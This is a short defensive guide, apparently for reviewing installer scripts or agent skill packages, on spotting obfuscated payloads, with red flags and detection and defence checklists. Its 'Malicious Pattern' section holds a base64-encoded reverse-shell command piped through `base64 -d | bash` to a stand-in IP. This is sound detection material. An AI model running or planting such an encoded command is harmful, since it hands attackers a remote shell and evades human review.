Obfuscated Payloads

Threat Model

Attacker hides second-stage command execution in encoded strings or dynamic eval paths to bypass casual review.

Attacker Workflow

1. Store shell payload in base64 or hex string.
2. Decode at runtime with helper command.
3. Execute through `bash`, `eval`, or Python subprocess.
4. Blend with legitimate dependency setup.

Red Flags

• `base64 -d | bash` patterns.
• `eval` used on decoded or concatenated user-controlled data.
• Large opaque blobs in installer scripts.
• String operations that assemble commands indirectly.

Malicious Pattern

PAYLOAD="YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTguNTEuMTAwLjQyLzQ0NDQgMD4mMQ=="
echo "$PAYLOAD" | base64 -d | bash

Safe Counterexample

import base64

def encode_preview(raw: bytes) -> str:
    return base64.b64encode(raw[:2048]).decode("ascii")

Detection Checklist

• Decode blobs and inspect decoded output before approval.
• Require plain-text installer behavior for critical steps.
• Block eval-like execution in setup scripts.
• Search for chained decode + execute patterns.

Defense Checklist

• Add static rules for encoded execution chains.
• Force review tooling to render decoded previews.
• Fail CI when obfuscated shell execution appears in skills.
• Use reproducible build logs for every installer command.

Review Workflow

1. Expand helper variables into final command equivalents.
2. Run safe decode in an isolated terminal to inspect payload.
3. Map each decoded command to declared skill purpose.

False Positives

• Base64 for image or binary serialization can be normal.
• Compression artifacts in assets are not inherently malicious.